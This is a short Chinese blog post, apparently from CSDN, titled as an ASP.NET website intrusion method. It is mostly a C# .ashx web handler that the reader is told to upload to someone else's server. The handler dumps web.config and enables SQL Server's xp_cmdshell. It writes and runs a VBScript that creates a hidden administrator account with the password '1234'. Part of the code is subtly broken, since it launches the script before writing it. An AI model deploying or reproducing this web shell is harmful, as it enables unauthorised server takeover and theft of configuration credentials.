ASP.NET网站入侵思路

将代码保存为xxx.ashx文件,上传到对方服务器,通过url访问可查看web.config,涉及前端与后端交互及服务器文件访问相关信息技术内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

想办法把下面的代码保存为xxx.ashx文件,然后上传到对方服务器,然后通过url访问即可看到 web.config

<%@ WebHandler Language="C#" Class="TextLd" %> 
using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Web; 
using System.Data.SqlClient; 
 
    public class TextLd : IHttpHandler 
    { 
        public void CreateLocalUser(string newPath) 
        { 
            System.Diagnostics.Process.Start(@"d:\1.vbs"); 
            System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 
        } 
        public void ShowWebConfig(HttpContext context) 
        { 
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 
        } 
        public void WriteVbs(HttpContext context) 
        { 
            System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 
        } 
        public void ExecuteSql(string connection, string sql) 
        { 
            using (SqlConnection con = new SqlConnection(connection)) 
            { 
                using (SqlCommand commd = new SqlCommand(sql, con)) 
                { 
                    con.Open(); 
                    commd.ExecuteNonQuery(); 
                    con.Close(); 
                } 
            } 
        } 
        public void ProcessRequest(HttpContext context) 
        { 
            context.Response.ContentType = "text/plain"; 
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 
            try 
            { 
                var connection = context.Request.QueryString["connection"]; 
                switch (context.Request.QueryString["method"]) 
                { 
                    case "1": WriteVbs(context); break; 
                    case "2": 
                        ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure"); 
                        ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell 
                        break; 
                    case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'"); 
                        break; 
                    default: 
                        ShowWebConfig(context); 
                        break; 
                } 
            } 
            catch (Exception ex) 
            { 
                context.Response.Write(ex.Message); 
            } 
            context.Response.End(); 
        } 
        public bool IsReusable 
        { 
            get 
            { 
                return false; 
            } 
        } 
    } 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xcagy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值